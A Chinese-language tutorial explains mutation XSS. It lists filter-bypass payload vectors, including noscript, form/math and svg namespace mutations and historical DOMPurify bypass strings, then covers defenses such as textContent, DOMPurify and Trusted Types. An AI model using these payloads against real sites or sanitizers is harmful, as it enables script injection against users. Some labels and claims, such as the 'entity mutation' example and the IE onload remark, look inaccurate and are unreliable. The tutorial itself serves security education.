一、mXSS基础概念
mXSS(Mutation XSS)是指通过利用浏览器DOM解析器的差异,使原本安全的HTML代码在DOM树构建过程中发生"突变",从而绕过XSS过滤器的攻击技术。
1.1 产生原因
- 浏览器HTML解析器与过滤器的解析差异
- innerHTML属性的特殊行为
- DOM树构建过程中的节点重组
- 不同浏览器的兼容性差异
二、mXSS攻击原理
2.1 基础示例
// 安全的HTML(通过过滤器)
var safe = '<noscript><p title="</noscript><img src=x onerror=alert(1)>">';
// 插入DOM后发生突变
div.innerHTML = safe;
console.log(div.innerHTML);
// 输出:<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p></noscript>
// 在某些浏览器中,img标签会被执行!
2.2 经典mXSS向量
<!-- 向量1:noscript突变 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- 向量2:form突变 -->
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
<!-- 向量3:listing/xmp标签 -->
<listing><img src=1 onerror=alert(1)></listing>
<!-- 向量4:namespace突变 -->
<svg><style><img src=x onerror=alert(1)>
<!-- 向量5:HTML5实体突变 -->
<img src="x" onerror="alert`1`">
三、高级利用技巧
3.1 innerHTML特性利用
// innerHTML会规范化HTML
div.innerHTML = '<img src="test" />';
console.log(div.innerHTML); // <img src="test">
// 利用这个特性绕过过滤
var payload = '<img src=1 href=1 onerror="alert(1)">';
div.innerHTML = payload;
// 某些过滤器只检查原始字符串,但浏览器会重新序列化
3.2 DOMPurify绕过(历史漏洞)
<!-- CVE-2019-20374 -->
<form><math><mtext></form><form><mglyph><svg><mtext><style></math><img src onerror=alert(1)>
<!-- SVG命名空间混淆 -->
<svg><![CDATA[<image xlink:href="x" onerror="alert(1)" />]]></svg>
3.3 浏览器差异利用
// Chrome vs Firefox差异
// Chrome允许:
<template><img src=x onerror=alert(1)></template>
// IE特有:
<img src="x" onload="alert(1)">
<!-- IE会在失败时也触发onload -->
四、防御措施
4.1 使用textContent代替innerHTML
// 危险
element.innerHTML = userInput;
// 安全
element.textContent = userInput;
4.2 使用现代化消毒库
// 使用最新版DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
RETURN_TRUSTED_TYPE: true
});
4.3 Trusted Types API
// 配置Trusted Types策略
const policy = trustedTypes.createPolicy('default', {
createHTML: (string) => DOMPurify.sanitize(string)
});
element.innerHTML = policy.createHTML(userInput);
五、真实案例
5.1 Gmail mXSS (2012)
研究员Gareth Heyes发现Gmail过滤器可被mXSS绕过,影响数百万用户。
5.2 Yahoo Mail mXSS (2013)
利用noscript标签突变绕过Yahoo Mail的XSS过滤器。
总结
mXSS是利用浏览器解析差异的高级技术,防御重点:
- 避免使用innerHTML
- 使用最新的消毒库
- 启用Trusted Types
- 定期更新浏览器和库